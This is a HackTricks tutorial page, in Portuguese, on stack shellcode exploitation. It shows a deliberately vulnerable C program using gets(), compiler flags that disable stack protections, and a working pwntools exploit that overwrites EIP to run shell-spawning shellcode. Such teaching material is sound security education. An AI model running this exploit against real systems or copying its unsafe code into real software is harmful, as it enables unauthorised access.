Stack Shellcode

Support HackTricks

Basic Information

Stack shellcode é uma técnica usada em binary exploitation onde um atacante escreve shellcode na pilha de um programa vulnerável e então modifica o Instruction Pointer (IP) ou Extended Instruction Pointer (EIP) para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma explicação do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com pwntools.

C Example: A Vulnerable Program

Vamos começar com um exemplo simples de um programa C vulnerável:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Este programa é vulnerável a um estouro de buffer devido ao uso da função gets().

Compilação

Para compilar este programa desativando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Desabilita a proteção da pilha.

  • -z execstack: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.

  • -no-pie: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.

  • -m32: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.

Exploit em Python usando Pwntools

Aqui está como você poderia escrever um exploit em Python usando pwntools para realizar um ataque ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Este script constrói um payload consistindo de um NOP slide, o shellcode, e então sobrescreve o EIP com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.

O NOP slide (asm('nop')) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento p32() para o endereço inicial do seu buffer mais um offset para cair no NOP slide.

Proteções

  • ASLR deve ser desativado para que o endereço seja confiável entre execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.

  • Stack Canaries também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.

  • A proteção de stack NX impediria a execução do shellcode dentro da pilha porque essa região não seria executável.

Outros Exemplos & Referências

Support HackTricks

Last updated